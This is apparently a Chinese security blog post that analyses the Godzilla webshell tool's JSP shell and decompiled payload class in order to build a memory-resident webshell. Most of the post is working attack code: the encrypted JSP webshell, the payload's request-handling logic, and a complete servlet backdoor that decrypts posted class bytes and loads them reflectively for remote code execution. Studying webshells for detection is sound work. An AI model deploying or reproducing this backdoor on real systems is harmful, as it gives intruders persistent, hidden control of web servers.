哥斯拉yyds
注入内存马借助当前的webshell工具而言,冰蝎可以通过创建hashmap放入request、response、session替换pagecontext来解决
1HttpSession session = lastRequest.getSession();
2pageContext.put("request", lastRequest);
3pageContext.put("response", lastResponse);
4pageContext.put("session", session);
能这么写的原因是因为冰蝎做了处理
会从传入的obj中分别取到request、response、session。
而哥斯拉没有这么做,如何破局?
哥斯拉是基于动态加载class字节码实现的webshell工具。
先看一下jsp的shell
1<%! String xc = "3c6e0b8a9c15224a";
2 String pass = "pass";
3 String md5 = md5(pass + xc);
4
5 class X extends ClassLoader {
6 public X(ClassLoader z) {
7 super(z);
8 }
9
10 public Class Q(byte[] cb) {
11 return super.defineClass(cb, 0, cb.length);
12 }
13 }
14....省略加密解密的函数....
15%>
16<%
17 try {
18 byte[] data = base64Decode(request.getParameter(pass));
19 data = x(data, false);
20 if (session.getAttribute("payload") == null) {
21 session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
22 } else {
23 request.setAttribute("parameters", data);
24 java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
25 Object f=((Class)session.getAttribute("payload")).newInstance();
26 f.equals(arrOut);
27 f.equals(pageContext);
28 response.getWriter().write(md5.substring(0, 16));
29 f.toString();
30 response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
31 response.getWriter().write(md5.substring(16));
32 }
33 } catch (Exception e) {
34 }
35%>
先判断session中payload是否为空,如果为空就用classloader加载解密之后的字节码data。
如果不为空将data赋值到session的parameters参数,然后从session中拿到定义的payload类,创建实例再进行了两次equals和一次tostring,两次equals分别传入ByteArrayOutputStream和pageContext。
通过bp代理看一下“测试连接”的过程
点完测试连接后bp多了两个请求
再点success的确定按钮后又多了一个请求。
一共三个请求,这三个请求分别干了什么?
为了调试,我们需要反编译哥斯拉源码找到godzilla\shells\payloads\java\assets\payload.classs
文件,反编译回来后在idea项目中创建一个payload类,将源码粘贴进去。另外还需要关闭idea的自动tostring。
然后修改jsp让其加载我们自己的payload.class而非从session中加载
1<%
2 try {
3 byte[] data = base64Decode(request.getParameter(pass));
4 data = x(data, false);
5 if (session.getAttribute("payload") == null) {
6 session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));
7 } else {
8 request.setAttribute("parameters", data);
9 java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
10 Object f = ((Class) Class.forName("payload")).newInstance();
11 f.equals(arrOut);
12 f.equals(pageContext);
13 response.getWriter().write(md5.substring(0, 16));
14 f.toString();
15 response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
16 response.getWriter().write(md5.substring(16));
17 }
18 } catch (Exception e) {
19 }
20%>
payload类是哥斯拉的功能实现类,其中有多个函数比如文件操作、命令执行等功能实现
而入口在equals()函数
handle()是真正的逻辑,noLog是不记录tomcat连接日志的函数。进入handle看下
1public boolean handle(Object obj) {
2 if (obj == null) {
3 return false;
4 } else {
5 Class streamClazz = ByteArrayOutputStreamClazz;
6 if (streamClazz == null) {
7 try {
8 streamClazz = Class.forName("java.io.ByteArrayOutputStream");
9 } catch (ClassNotFoundException var7) {
10 throw new NoClassDefFoundError(var7.getMessage());
11 }
12
13 ByteArrayOutputStreamClazz = streamClazz;
14 }
15
16 if (streamClazz.isAssignableFrom(obj.getClass())) {
17 this.outputStream = (ByteArrayOutputStream) obj;
18 return false;
19 } else {
20 if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) {
21 this.servletRequest = obj;
22 } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) {
23 this.servletRequest = obj;
24 } else {
25 streamClazz = byteArrayClazz;
26 if (streamClazz == null) {
27 try {
28 streamClazz = Class.forName("[B");
29 } catch (ClassNotFoundException var6) {
30 throw new NoClassDefFoundError(var6.getMessage());
31 }
32
33 byteArrayClazz = streamClazz;
34 }
35
36 if (streamClazz.isAssignableFrom(obj.getClass())) {
37 this.requestData = (byte[]) obj;
38 } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) {
39 this.httpSession = obj;
40 }
41 }
42
43 this.handlePayloadContext(obj);
44 if (this.servletRequest != null && this.requestData == null) {
45 Object var10001 = this.servletRequest;
46 Class[] var10003 = new Class[1];
47 Class var10006 = stringClazz;
48 if (var10006 == null) {
49 try {
50 var10006 = Class.forName("java.lang.String");
51 } catch (ClassNotFoundException var5) {
52 throw new NoClassDefFoundError(var5.getMessage());
53 }
54
55 stringClazz = var10006;
56 }
57
58 var10003[0] = var10006;
59 Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"});
60 if (retVObject != null) {
61 streamClazz = byteArrayClazz;
62 if (streamClazz == null) {
63 try {
64 streamClazz = Class.forName("[B");
65 } catch (ClassNotFoundException var4) {
66 throw new NoClassDefFoundError(var4.getMessage());
67 }
68
69 byteArrayClazz = streamClazz;
70 }
71
72 if (streamClazz.isAssignableFrom(retVObject.getClass())) {
73 this.requestData = (byte[]) retVObject;
74 }
75 }
76 }
77 return true;
78 }
79 }
80}
分段来看,第一次equals的时候传入的是ByteArrayOutputStream实例
将其赋值给this.outputStream,this.outputStream是输出流,存储了response内容。
第二段equals的是pagecontext
先填充request,然后判断是否是session,如果是字节数组则说明是post参数 this.requestData = (byte[]) obj;
如果是HttpSession实例则放入this.httpSession
接着handlePayloadContext()填充request上下文和session
然后调用session.getAttribute("parameters")
拿到requestData
第三段是toString
initSessionMap()初始化一个sessionMap放一些信息,然后formatParameter格式化参数map,然后this.run()
在formatParameter()函数中向参数map中放键值对
给他打印出来看一看,bp三个请求打印了两个键值对
第一个请求是加载class字节码的,然后第二个第三个请求时调用字节码功能,通过methodName来调用。接着run()完之后写输出。
那么请求流程就到这里,接下来看如何解决
上文讲到,requestData是post body,我们传入pagecontext的目的是为了通过session拿到parameters,那么如果我们抛弃session,直接把parameters通过equals函数传给payload类呢?
bp第一个请求是加载字节码,我们通过defClass加载进去,然后第二个请求分为四个阶段
而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext
1package com.example.demo3;
2
3import javax.servlet.ServletException;
4import javax.servlet.annotation.WebServlet;
5import javax.servlet.http.HttpServlet;
6import javax.servlet.http.HttpServletRequest;
7import javax.servlet.http.HttpServletResponse;
8import java.io.IOException;
9import java.lang.reflect.Method;
10import java.net.URL;
11import java.net.URLClassLoader;
12
13@WebServlet(name = "helloServlet", value = "/hello")
14public class HelloServlet extends HttpServlet {
15 String xc = "3c6e0b8a9c15224a";
16 String pass = "pass";
17 String md5 = md5(pass + xc);
18 Class payload;
19
20 public static String md5(String s) {
21 String ret = null;
22 try {
23 java.security.MessageDigest m;
24 m = java.security.MessageDigest.getInstance("MD5");
25 m.update(s.getBytes(), 0, s.length());
26 ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
27 } catch (Exception e) {
28 }
29 return ret;
30 }
31
32 public static String base64Encode(byte[] bs) throws Exception {
33 Class base64;
34 String value = null;
35 try {
36 base64 = Class.forName("java.util.Base64");
37 Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
38 value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
39 } catch (Exception e) {
40 try {
41 base64 = Class.forName("sun.misc.BASE64Encoder");
42 Object Encoder = base64.newInstance();
43 value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
44 } catch (Exception e2) {
45 }
46 }
47 return value;
48 }
49
50 public static byte[] base64Decode(String bs) throws Exception {
51 Class base64;
52 byte[] value = null;
53 try {
54 base64 = Class.forName("java.util.Base64");
55 Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
56 value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
57 } catch (Exception e) {
58 try {
59 base64 = Class.forName("sun.misc.BASE64Decoder");
60 Object decoder = base64.newInstance();
61 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
62 } catch (Exception e2) {
63 }
64 }
65 return value;
66 }
67
68 public byte[] x(byte[] s, boolean m) {
69 try {
70 javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
71 c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
72 return c.doFinal(s);
73 } catch (Exception e) {
74 return null;
75 }
76 }
77
78 public Class defClass(byte[] classBytes) throws Throwable {
79 URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
80 Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
81 defMethod.setAccessible(true);
82 return (Class) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
83 }
84
85 @Override
86 protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
87 try {
88 byte[] data = base64Decode(req.getParameter(pass));
89 data = x(data, false);
90 if (payload == null) {
91 payload = defClass(data);
92 } else {
93 java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
94 Object f = payload.newInstance();
95 f.equals(arrOut);
96 f.equals(data);
97 f.equals(req);
98 resp.getWriter().write(md5.substring(0, 16));
99 f.toString();
100 resp.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
101 resp.getWriter().write(md5.substring(16));
102 }
103 } catch (Throwable e) {
104 }
105 }
106}
其实完整代码还是北辰发我的,我只是探究了一下其原因,这种pagecontext的问题还是得深入看工具的功能实现才能解决问题。
另外自己在写冰蝎内存马的时候遇到了包装类的问题,而哥斯拉不存在这个问题。因为哥斯拉是通过参数传递的payload,而冰蝎是直接把字节码放在了body中。
只能说哥斯拉yyds!
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。